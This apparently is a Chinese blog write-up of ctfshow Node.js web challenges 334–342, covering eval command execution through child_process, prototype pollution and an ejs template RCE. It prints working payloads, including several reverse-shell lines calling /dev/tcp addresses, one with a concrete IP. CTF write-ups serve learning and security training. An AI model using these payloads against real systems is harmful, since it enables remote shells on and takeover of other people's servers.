拖更,估计年后了,假期不做题嘿嘿。讲真,生产队的驴都不敢这么出题。。。一个假期一百多道
web334
源码可以得知账户名与密码,但是login.js出现了这一句return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
,那么账户名填小写的ctfshow即可
web335
源码提示eval,搜索nodejs的rce可以知道使用了child_process(子进程),创建同步进程进行rce
pl:?eval=require('child_process').execSync('cat f*')
web336
过滤了exec
,还有一个同步子进程的函数
?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout.toString()
web337
给了源码,类似php的弱类型,数组绕?a[a]=1&b[b]=2
web338
简单的原型链污染,不知得为啥我当时看不懂。。。参考文章:继承与原型链,可以说是非常详细了,还有狼组的例题:nodejs原型链污染
login.js
里面出现了 utils.copy(user,req.body);
这就是原型链污染的地方
需要用 bp,hackbar不晓得为啥不行 payload:{"username":"a","password":"a","__proto__":{"ctfshow":"36dboy"}}
web339
《简单的原型链污染》
这次 login.js 改了 if(secert.ctfshow===flag
,不知得 flag 的值,不能直接污染,但是多了一个 app.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
/* 自调用函数,应该会有 rce 吧 嘿嘿嘿 */
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
其实原理和上一题差不多,通过 login.js
里的 utils.copy(user,req.body);
污染原型,然后访问 api 的时候由于 query
未定义,所以会向其原型找,那么通过污染原型构造恶意代码即可rce
具体怎么污染呢?其实还是通过 copy()
污染到 Object
来看一个 demo
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);
运行可以发现,query 有了一个值
那么在登陆时也传入一个 "__proto__"
也可以污染其原型(Object),这里推荐 反弹 shell,因为原型污染以后 login.js
就不能正常运行了,原因下面再说。先看一下我的 payload:return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\"')
师傅们的payload:{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/2333 0>&1\"')"}}
这里也推荐反弹shell时使用上面这两种,因为有时候脚本内不一定有
require
,使用上面两种无需关心脚本内是否有require
反弹shell了后面想干嘛干嘛了嘿嘿嘿
下面说一下为什么只能污染一次,再次正常访问就500
P神的那篇文章 评论里提到了 一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。这将导致一些正常的业务出现bug,那为什么本题污染后脚本不能正常执行了呢?本地调试看看
首先污染原型链
访问 api
看是否污染成功
接着再次 post login.js,500了
在 utils.copy(user,req.body);
打上断跟进去,堆栈一共三次 copy()
第一次key是 "__proto__"
;第二次key是"query"
;第三次出错了,key是'0'
,object变成污染后的值了,不再是键值对!,所以在经过 if (key in object2 && key in object1)
判断时报错了
web340
《《简单的原型链污染》》
和上一题差不多,这个要污染两次
payload:{"__proto__":{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/1.15.64.189/2333 0>&1\"')"}}}
web341
《不会的原型链污染》
tari 师傅提供了一个很好的工具: snyk,它可以很好地检测项目存在的漏洞,尤其是带有 package.json
的
这里就扫出了 ejs rce
,第二篇文章就是其原理(大师傅还是牛啊,一大堆的 js 里面藏这么深都能找到漏洞 tttttqqqqqql 膜一下)
直接上 payload:{"__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\"'); //"}}}
web342
好多js啊~,不想分析,也打不通,环境问题吗(我不管,反正不是我的锅)